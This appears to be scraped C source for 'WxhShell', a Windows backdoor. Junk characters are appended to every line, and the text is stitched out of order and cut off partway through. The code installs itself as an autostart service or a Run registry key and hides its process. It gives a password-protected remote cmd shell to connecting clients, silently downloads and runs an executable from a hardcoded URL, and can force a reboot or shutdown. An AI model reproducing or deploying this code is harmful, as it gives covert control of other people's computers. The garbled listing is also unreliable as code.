    } n0^3F1Z  
    break; [ID#P Ule  
    } -#AO4xpI  
  // 关机 3[m~6 Ys  
  case 'd': { 4'`*Sce}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |qq29dS?  
    if(Boot(SHUTDOWN)) {UhpN"'"n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&`d$K  
    else { {?IUf~<  
    closesocket(wsh); bGB5]%v,  
    ExitThread(0); zn\$6'"  
    } W}\<}dK  
    break; 2QIo|$  
    } p!K]c D  
  // 获取shell g8Zf("  
  case 's': { N$8"X-na?  
    CmdShell(wsh); .Na'yS `J  
    closesocket(wsh); 7b kh")^  
    ExitThread(0); L7.LFWq$S  
    break; ]jP 0Z#  
  } v #Q(g/^  
  // 退出 )Vx C v  
  case 'x': { 6wyhL-{:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 42DB0+_wz  
    CloseIt(wsh); ob(~4H-  
    break; k@2@%02o9C  
    } NX<Q}3cC  
  // 离开 T\T>\&nY+|  
  case 'q': { 7I{rhA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CH=k=)() ]  
    closesocket(wsh); 7{ QjE  
    WSACleanup(); V%J_iY/BUb  
    exit(1); #w)D ml  
    break; O'W[/\A56M  
        } 2fdC @V  
  } 0a v2w5>af  
  } z8w@pT  
Y2y = P  
  // 提示信息 BUEV+SZ4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mDIN%/S'  
} =$vy_UN  
  } RsP^T:M}$  
\YF'qWB  
  return; fu`|@S  
} brt` oR  
Cqw`K P  
// shell模块句柄 J`A )WsKkb  
int CmdShell(SOCKET sock) YoRD9M~iG~  
{ G/}nwj\  
STARTUPINFO si; K6oQx)|  
ZeroMemory(&si,sizeof(si)); A)o%\j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f<2<8xS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G%fNGQwT  
PROCESS_INFORMATION ProcessInfo; xy<)zKp  
char cmdline[]="cmd"; \F),SL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _ ~E_#cNn  
  return 0; 0Y ld!L  
} (k5d.E]CK  
k|_LF[*Z  
// 自身启动模式 ^9*Jz{e  
int StartFromService(void) SV_b(wP9  
{ )'t&LWS~  
typedef struct NiH.Pv)Oa'  
{ #N|A@B5 x  
  DWORD ExitStatus; I-|1eR+3  
  DWORD PebBaseAddress;  EoHrXv  
  DWORD AffinityMask; o_%gFV[q  
  DWORD BasePriority; 'tzN.p1O  
  ULONG UniqueProcessId; Q!}LtR$  
  ULONG InheritedFromUniqueProcessId; hk+"c^g:j<  
}   PROCESS_BASIC_INFORMATION; si>gYO  
{DGnh1  
PROCNTQSIP NtQueryInformationProcess; *[wj )  
~px)Jd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WzO[-csy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V]A*' ke/  
1ba* U~OEg  
  HANDLE             hProcess; &<S]=\  
  PROCESS_BASIC_INFORMATION pbi; hvU\l`m  
$3 ~ /H"K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X0gWTs  
  if(NULL == hInst ) return 0; `}&}2k  
LDq(WPI1#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nM&UdKf3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  ,L7:3W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bmGtYv  
GxcW^{;  
  if (!NtQueryInformationProcess) return 0; 8AVG pL  
:l?/]K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B"fKv0  
  if(!hProcess) return 0; /kK:{  
Hqm1[G)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 91j.%#[v'  
t_ZWd#x+;  
  CloseHandle(hProcess); RkXW(T`  
[^E{Yz=8,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F6 c1YI[  
if(hProcess==NULL) return 0;  8&KqrA86  
8 n)3'ok  
HMODULE hMod; Nc[V kJ]  
char procName[255]; ,O ]AB  
unsigned long cbNeeded; 2*@.hBi  
?o6\>[O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CaqMLi%  
lC(g&(\{  
  CloseHandle(hProcess); QF`o%mI  
uNRT@@oCq  
if(strstr(procName,"services")) return 1; // 以服务启动 K+J fU J  
~ 'L`RJR  
  return 0; // 注册表启动 E'4 dI:  
} :\8&Th}Se  
66shr  
// 主模块 ,2 _!hm /  
int StartWxhshell(LPSTR lpCmdLine) @jevY81)  
{ %oEvp{I  
  SOCKET wsl; x$\w^h\F  
BOOL val=TRUE; h|t\rV^  
  int port=0; ~`Xu 6+1o  
  struct sockaddr_in door; xKC{P{:  
ac??lHtH9  
  if(wscfg.ws_autoins) Install(); @&M$oI$4*  
0vm}[a4+i;  
port=atoi(lpCmdLine); C1KO]e>  
-$m?ShDd  
if(port<=0) port=wscfg.ws_port; ^L;k  
Q.Ljz Z  
  WSADATA data; i@ XFnt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CHRO9  
oc3}L^aD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (N25.}8Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '=eE6=m^K  
  door.sin_family = AF_INET; Rk.GrLp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vswBK-w(Z  
  door.sin_port = htons(port); [v$NxmRu  
#[{xEVf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nt#a_  
closesocket(wsl); lKF<]25  
return 1; o{&UT VyGs  
} PofHe  
\9t6 #8  
  if(listen(wsl,2) == INVALID_SOCKET) { /i)1BaF  
closesocket(wsl); k|c=O6GO  
return 1; wk"zpI7L  
} ] /{987  
  Wxhshell(wsl); .}l&lj@#  
  WSACleanup(); y3vm+tJc{  
^9C9[$Q  
return 0; \v}3j^Yu  
19t'  
} {b6g!sE  
L/R ES  
// 以NT服务方式启动 @)YQiE$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XUyoZl?  
{ a \PvRW*I  
DWORD   status = 0; M:Aik&  
  DWORD   specificError = 0xfffffff; JKsdPW<?  
d4#Ra%   
  serviceStatus.dwServiceType     = SERVICE_WIN32; w+0Ch1$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N%.Dj H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5{&<X.jv  
  serviceStatus.dwWin32ExitCode     = 0; TGJ\f  
  serviceStatus.dwServiceSpecificExitCode = 0; zUhJr$N$  
  serviceStatus.dwCheckPoint       = 0; Q5s?/r  
  serviceStatus.dwWaitHint       = 0; 9w! G  
eL+L {Ac  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nE)|6  
  if (hServiceStatusHandle==0) return; 0w_2E  
_~ipO1*  
status = GetLastError(); U@$=0*  
  if (status!=NO_ERROR) I2wT]L UV  
{ 'Na/AcRdg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !B3lsXLSY  
    serviceStatus.dwCheckPoint       = 0; hoQ?8}r:  
    serviceStatus.dwWaitHint       = 0; q|A-h'  
    serviceStatus.dwWin32ExitCode     = status; -^JGa{9*  
    serviceStatus.dwServiceSpecificExitCode = specificError; *I}_B\kY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D@ji1$K  
    return; i Y2%_b!5  
  } z4nVsgQ$  
!r8Jo{(pb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KrFV4J[  
  serviceStatus.dwCheckPoint       = 0; a;A&>Ei}  
  serviceStatus.dwWaitHint       = 0; oEWx9c{~$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?Ze3t5Ll  
} ",ic" ~  
Nv iPrp>c  
// 处理NT服务事件,比如:启动、停止 ZREAEGi{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H5N(MihT  
{ dIo|i,-  
switch(fdwControl) n>dM OQb  
{ "p\XaClpz  
case SERVICE_CONTROL_STOP: N3};M~\  
  serviceStatus.dwWin32ExitCode = 0; Mlpq2I_x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _5nQe !  
  serviceStatus.dwCheckPoint   = 0; W&>+~A  
  serviceStatus.dwWaitHint     = 0; pP'-}%  
  { z^f-MgWG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rGZ@pO2  
  } IP1|$b}sq  
  return; C3%,pDh  
case SERVICE_CONTROL_PAUSE: Te{L@sj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^j2:fJOU#  
  break; IpxFME%!  
case SERVICE_CONTROL_CONTINUE: 6wWA(![w"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .~5cNu'#m  
  break; tc{23Rf%  
case SERVICE_CONTROL_INTERROGATE: b'N"?W^YQ  
  break; aNW&ib  
}; P-~Avb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *TuoC5  
} azB~>#H~  
n^/,>7J   
// 标准应用程序主函数 qvOBvUR}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d]e`t"Aj  
{  <C4^Vem  
X/1Z9 a+W  
// 获取操作系统版本 <EI'N0~KG  
OsIsNt=GetOsVer(); T T0O %  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IEzZ$9,A5  
<MN+2^ed&  
  // 从命令行安装 e<^tY0rR&  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ze$:-7Czl  
7l Aa6"Y68  
  // 下载执行文件 P|.KMtG  
if(wscfg.ws_downexe) { 2597#O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >t8eVMMa  
  WinExec(wscfg.ws_filenam,SW_HIDE); r/Pg,si  
} +V |]:{3W  
/$rS0@p  
if(!OsIsNt) { nWZrB s _  
// 如果时win9x,隐藏进程并且设置为注册表启动 YKh%`Y1<  
HideProc(); O)5-6lm  
StartWxhshell(lpCmdLine); !00%z  
} ,XP9NHE  
else i=2+1 ;K  
  if(StartFromService()) :B- ,*@EU  
  // 以服务方式启动 {uj9fE,)  
  StartServiceCtrlDispatcher(DispatchTable); j )F~C8*  
else %h%r6EB1F  
  // 普通方式启动 Ro:-u7q  
  StartWxhshell(lpCmdLine); S0=BfkHi.  
*OF7 {^~&  
return 0; 4r(rWlM  
} 7<.f&1MgI  
=GR Em5  
'~ ]b;nA  
ijhMJ?3  
=========================================== {/7'uD\ H  
v;K\#uc_  
JmYi&  
"E2 g7n&  
. ~|^du<X  
<{-DYRiN  
" 6!Isz1.re  
N7#GK]n%/}  
#include <stdio.h> g dC=SFb b  
#include <string.h> )QZ?Bf  
#include <windows.h> 6ldDt?iSg  
#include <winsock2.h> fQx 4/4j  
#include <winsvc.h> R4qk/@]t  
#include <urlmon.h> DTIy/  
m d C. FO-  
#pragma comment (lib, "Ws2_32.lib") t%dPj8~  
#pragma comment (lib, "urlmon.lib") cRg$~rYd  
nj9hRiL n  
#define MAX_USER   100 // 最大客户端连接数 {{DW P-v4  
#define BUF_SOCK   200 // sock buffer mI`dZ3h  
#define KEY_BUFF   255 // 输入 buffer ;5=pBP.  
<b Ta88,)  
#define REBOOT     0   // 重启 Vr0RdO  
#define SHUTDOWN   1   // 关机 rWvJ{-%  
Tf0#+6 1>  
#define DEF_PORT   5000 // 监听端口 HRw,D=  
$9J"r9@@  
#define REG_LEN     16   // 注册表键长度 |R[m&uOib  
#define SVC_LEN     80   // NT服务名长度 YT:5J%"  
.HtDcGp  
// 从dll定义API Z=H f OC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); etDB|(,z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >$"bwr}'4B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /cjf 1Dc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H+0 *  
Aqm0|GlJ  
// wxhshell配置信息 L"b5P2{c  
struct WSCFG { Y.C*|p#  
  int ws_port;         // 监听端口 LQQhn{[D  
  char ws_passstr[REG_LEN]; // 口令 ):[[Ch_  
  int ws_autoins;       // 安装标记, 1=yes 0=no $Y4 Ao-@  
  char ws_regname[REG_LEN]; // 注册表键名 TMRXl.1  
  char ws_svcname[REG_LEN]; // 服务名 G![1+2p:Tq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W4|;JmT.r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QWP_8$Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kdo)y(fn@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WMC6 dD_6e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }gn0bCJy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -FPl",f=r  
+<|w|c  
}; B=p'2lla  
><DE1tG  
// default Wxhshell configuration JEd/j zR(  
struct WSCFG wscfg={DEF_PORT, v]1rH$  
    "xuhuanlingzhe", 6RtpB\hq  
    1, '\;tmD"N5#  
    "Wxhshell", 9(I4x]`  
    "Wxhshell", [gE2lfaEy  
            "WxhShell Service", oy |@m|J  
    "Wrsky Windows CmdShell Service", NSkI2>+P  
    "Please Input Your Password: ", P6?Q;-\q0  
  1, w7W-=\Hvh  
  "http://www.wrsky.com/wxhshell.exe", #nd,cn  
  "Wxhshell.exe" _8`|KY  
    }; X3>(K1  
D *tBbV  
// 消息定义模块 5u!cA4e"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; doa$ ;=wg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q7s1M&K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {%$=^XO  
char *msg_ws_ext="\n\rExit."; mU_O64  
char *msg_ws_end="\n\rQuit."; 8L@di  Y  
char *msg_ws_boot="\n\rReboot..."; xphqgOc12,  
char *msg_ws_poff="\n\rShutdown..."; St3~Y{aI|  
char *msg_ws_down="\n\rSave to "; ,8 .`;  
dvf*w:5K!  
char *msg_ws_err="\n\rErr!"; (+@.L7>m+t  
char *msg_ws_ok="\n\rOK!"; )Qc$UI8L  
*Zvw&y*  
char ExeFile[MAX_PATH]; R}]FIu  
int nUser = 0; r5"/EMieh  
HANDLE handles[MAX_USER]; E0|aI4S4  
int OsIsNt; 83 n: h08  
N$+"zJmw&  
SERVICE_STATUS       serviceStatus; 0Nfj}sXCWE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %|I|Mc  
Mc6y'w  
// 函数声明  96BMJE'  
int Install(void); G1l(  
int Uninstall(void); GB=q}@&8p  
int DownloadFile(char *sURL, SOCKET wsh); e'`oisJU?q  
int Boot(int flag); N 4:'X6u;  
void HideProc(void); : ?V;  
int GetOsVer(void); ?-f>zx8O  
int Wxhshell(SOCKET wsl); Cr` 0C  
void TalkWithClient(void *cs); }B5I#Af7  
int CmdShell(SOCKET sock); PX'LN  
int StartFromService(void); Dz{e@+>M  
int StartWxhshell(LPSTR lpCmdLine); a !IH-XJ2  
ZUu^==a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W< n`[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9NT;^K^ I  
UdGoPzN  
// 数据结构和表定义 GxkG$B  
SERVICE_TABLE_ENTRY DispatchTable[] = V#~. Jg7  
{ u62sq: GjH  
{wscfg.ws_svcname, NTServiceMain},  /F_ :@#H  
{NULL, NULL} JVkawkeX  
}; sa`Yan  
S|[UEU3FpB  
// 自我安装 GXfVjC31z  
int Install(void) qkIU>b,B  
{ $o/>wgQY-  
  char svExeFile[MAX_PATH]; @2mP  
  HKEY key; 9ZBF1sMg  
  strcpy(svExeFile,ExeFile); [a3 0iE  
(Ka# 6   
// 如果是win9x系统,修改注册表设为自启动 d}ZH Y[  
if(!OsIsNt) { {ZcZ\Q;6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dc05,Bz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I?K0bs+6  
  RegCloseKey(key); cGp^;> ]M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  q0~_D8e,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p{rS -`I  
  RegCloseKey(key); xeI{i{8  
  return 0; "YL-!P  
    } :3B\,inJ  
  } $c}0L0  
} }$-VI\96  
else { MjpJAV/84  
Ps7%:|K]  
// 如果是NT以上系统,安装为系统服务 =CoT{LRQ_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ca =e_sg  
if (schSCManager!=0) {#,FlR2  
{ f2wW2]Fg  
  SC_HANDLE schService = CreateService W%1S:2+Kl  
  ( }>0 Kc=  
  schSCManager, Db=gS=Qm  
  wscfg.ws_svcname, gnXjd}  
  wscfg.ws_svcdisp, V5B-S.i@  
  SERVICE_ALL_ACCESS, W(aRO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -e~U u  
  SERVICE_AUTO_START, @m V C  
  SERVICE_ERROR_NORMAL, { rT`*P~  
  svExeFile, o!~bR  
  NULL, to3J@:V8e  
  NULL, d<'xpdxc  
  NULL, |Z ,G  
  NULL, Wv"tAseu  
  NULL kre&J  
  ); $1+K}tP  
  if (schService!=0) 5F"?]'*/  
  { Z+"&{g  
  CloseServiceHandle(schService); vi8~j  
  CloseServiceHandle(schSCManager); ^>Y%L(>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &r%*_pX  
  strcat(svExeFile,wscfg.ws_svcname); ^{:jY, ?]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @@wx~|%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CeTr%j  
  RegCloseKey(key); _sVs6AJ  
  return 0; $]kg_l)  
    } [.X%:H+  
  }  2JP?6N  
  CloseServiceHandle(schSCManager); KeB4Pae|V  
} 4MJzx9#  
} (x qA.(F  
(L$~ zw5gr  
return 1; |8 bO5l:  
} {ah=i8$  
* Xoscc  
// 自我卸载 Wq(l :W'  
int Uninstall(void) R`2A-c  
{ L]d@D0.Z  
  HKEY key; N;'HR)  
.gGvyscdH;  
if(!OsIsNt) { gE&W6z0fJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G%!\ p:w  
  RegDeleteValue(key,wscfg.ws_regname); vo(NB !x$  
  RegCloseKey(key); |QLX..  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aMQjoamz  
  RegDeleteValue(key,wscfg.ws_regname); / w M  
  RegCloseKey(key); ~lqGnNhh 7  
  return 0; U@MP&sdL  
  } k-V I9H!,  
} jJ!-hg4?]  
} <z uE=0P~%  
else { ex \W]5  
H@E" )@92  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _}OJPahw  
if (schSCManager!=0) GQ2PmnV +  
{ 8e!DDh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pYl{:uIPN8  
  if (schService!=0) ;9 ,mV(w  
  { HhmVV"g  
  if(DeleteService(schService)!=0) { TE%#$q  
  CloseServiceHandle(schService); ttaQlEa=Z  
  CloseServiceHandle(schSCManager); Q)`gPX3F  
  return 0; uxyTu2L7  
  } H'{?aaK|t  
  CloseServiceHandle(schService);  }m%?&c  
  } `QdQ?9x{F  
  CloseServiceHandle(schSCManager); *xg`Kwl5Kl  
} 9xn23*Fo  
} S tnv>  
UVc<C 1 q  
return 1; ^}Qj}  
} 4iNbK~5j  
99 "[b  
// 从指定url下载文件 ~59`S#ax/l  
int DownloadFile(char *sURL, SOCKET wsh) M+;P?|a  
{ +}QBzGW`  
  HRESULT hr; PCPf*G>  
char seps[]= "/"; VtO;UN  
char *token; dAr)%RZ  
char *file; g'ZMV6b?K  
char myURL[MAX_PATH]; UIOEkQ\Wl  
char myFILE[MAX_PATH]; Z.':&7Y  
BwJ^_:(p~  
strcpy(myURL,sURL); b/B`&CIA0"  
  token=strtok(myURL,seps); Y^2Qxo3"3  
  while(token!=NULL) u:$x6/t  
  { i*CQor6|z  
    file=token; Tz[?gF.Do  
  token=strtok(NULL,seps); zk 5=Opmvh  
  } "6N~2q,SW  
,.jHV  
GetCurrentDirectory(MAX_PATH,myFILE); 7grt4k  
strcat(myFILE, "\\"); MJ*]fC3/  
strcat(myFILE, file); Y^6[[vaj2  
  send(wsh,myFILE,strlen(myFILE),0); hyb +#R  
send(wsh,"...",3,0); $iqi:vY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %gu$_S  
  if(hr==S_OK) ) p<fL  
return 0; AB"1(PbG  
else g T XW2S  
return 1; oY%"2PW1B  
X#DL/#z k  
} ')5L_$  
J4G> E.8  
// 系统电源模块 px _s@>l`  
int Boot(int flag) [.;%\>Qk<  
{ Kr/h`RM  
  HANDLE hToken; N(:nF5>_  
  TOKEN_PRIVILEGES tkp; 4e@&QOo`Cu  
/e|[SITe  
  if(OsIsNt) { 8Y\OCwO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Er"R;l]xJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LgP>u?]n  
    tkp.PrivilegeCount = 1; Qq T/1^imS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kqD*TJA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >wKu6- ]a  
if(flag==REBOOT) { 0AK?{y U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jQ_dw\ {0  
  return 0; l*K I  
} O xT}I  
else { mN\%f J7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U['JFLF  
  return 0; T2DF'f3A  
} Yz=h"Zr  
  } 4YDT%_h0  
  else { jj!N39f   
if(flag==REBOOT) { Rkpr8MS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w dGpt_  
  return 0; \[hn]@@  
} 9DOkQnnc  
else { UU iNR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7`IUMYl#~  
  return 0; cgs3qI  
} -,QKTxwo>  
} e^k!vk-SLF  
;Y'8:ncDn  
return 1; nAo8uWG  
} d"B@c;dD  
J}Qs"+x  
// win9x进程隐藏模块 s~=KhP~  
void HideProc(void) rH$eB/#F  
{ =[]x\&@t  
1l/AKI(!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4>4V-m\  
  if ( hKernel != NULL ) q.=^i z&m  
  { =oE_.ux\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5LQk8NPh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JFkN=YR8  
    FreeLibrary(hKernel); WI1T?.Gc   
  } :7p9t.R<$h  
{I0w`xe  
return; ePp[m zg6  
} SU%mmw ES3  
#V.ZdLo(  
// 获取操作系统版本 3ty4D2y  
int GetOsVer(void) k"">2#V  
{ I&L.;~  
  OSVERSIONINFO winfo; U^%9 )4bj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MV:W@)rg  
  GetVersionEx(&winfo); w4\BD&7V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P<%v +O  
  return 1; -xJX_6}A  
  else iv:,fkwG  
  return 0; {(rf/:X!p  
} X*pZNz&E  
tg~A}1o`0  
// 客户端句柄模块 7\IL  
int Wxhshell(SOCKET wsl) j~Q}F|i8  
{ A LXUaE.  
  SOCKET wsh; DH5bpg&T  
  struct sockaddr_in client; b,#`n  
  DWORD myID; 8y$5oD6g9  
m</]D WJ  
  while(nUser<MAX_USER) }>2t&+v+  
{ JC=dYP}  
  int nSize=sizeof(client); bqSMDK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h`=r )D  
  if(wsh==INVALID_SOCKET) return 1; oZgHSRRL  
,09DBxQq,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wGg0 hL  
if(handles[nUser]==0) }FrEF\}]_7  
  closesocket(wsh); :'Zx{F`  
else 3 m6$YWO  
  nUser++; "tqnx?pM  
  } n_v02vFAHT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C(G(^_6  
i8K_vo2Z)  
  return 0; '|Qd0,Z  
} rfYP*QQY  
/vHYM S  
// 关闭 socket d$pYo)8o({  
void CloseIt(SOCKET wsh) dUIqDl  
{ 8qn 9|  
closesocket(wsh); OY:u',T  
nUser--; >-b&v$  
ExitThread(0); 4S tjj!ew  
} 0; 7#ji  
`|nH1sHFq  
// 客户端请求句柄 `%e|$pK  
void TalkWithClient(void *cs) ;AKwx|I$g  
{ B`i$Wt<7  
j_p`Ng  
  SOCKET wsh=(SOCKET)cs; z) :ka"e  
  char pwd[SVC_LEN]; j1/+\8Y  
  char cmd[KEY_BUFF]; Oukd_Ryf   
char chr[1]; :$Q`>k7A  
int i,j; 1Pm4.C)  
V\0E=M*P  
  while (nUser < MAX_USER) { I!P4(3skAB  
8) HBh7/  
if(wscfg.ws_passstr) { c&E]E(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2`EVdl7B]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1B 5:s,Oyj  
  //ZeroMemory(pwd,KEY_BUFF); \wYc1M@7V  
      i=0; qe<Hfp/p  
  while(i<SVC_LEN) { "Ht'{&  
ioxbf6{  
  // 设置超时 3A_G=WaED  
  fd_set FdRead; \^jjK,OK  
  struct timeval TimeOut; ?-f,8Z|h  
  FD_ZERO(&FdRead); /,!<Va;~  
  FD_SET(wsh,&FdRead); Q^L) Vp"  
  TimeOut.tv_sec=8; 3f"C!l]Xu  
  TimeOut.tv_usec=0; + ~ "5!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \/ErPi=g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jXixVNw  
e?b)p5g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Q W}nRCZ  
  pwd=chr[0]; ZWS2q4/S  
  if(chr[0]==0xd || chr[0]==0xa) { t8P PE  
  pwd=0; _g~2R#2Q  
  break; kO1}?dWpa  
  } Us]=Y}(  
  i++; M diw Ri  
    } c;9.KCpwx  
4ZwKpQ6  
  // 如果是非法用户,关闭 socket \w%@?Qik  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "N 3)Qr  
} J? .F\`N)  
Zyu/|O g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (!3;X"l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hkege5{  
##cnFQCB  
while(1) { &dr@6-xaq  
i)M EK#{  
  ZeroMemory(cmd,KEY_BUFF); le8 #Z}p  
2Q@Y^t   
      // 自动支持客户端 telnet标准   y\D=Z N@  
  j=0; <.bRf  
  while(j<KEY_BUFF) { xR?V,uV'$&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Od##U6e`  
  cmd[j]=chr[0]; %Ds+GM-  
  if(chr[0]==0xa || chr[0]==0xd) { Ab2Q \+,  
  cmd[j]=0; I-kWS 4  
  break; 5wv fF.v  
  } !X]8dyW  
  j++; uH:YKH':/  
    } V%*b@zv  
x6W `hpL  
  // 下载文件 ~E)fpGJ  
  if(strstr(cmd,"http://")) { 9%tobo@J~n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?s2^zT  
  if(DownloadFile(cmd,wsh)) Su7bm1  
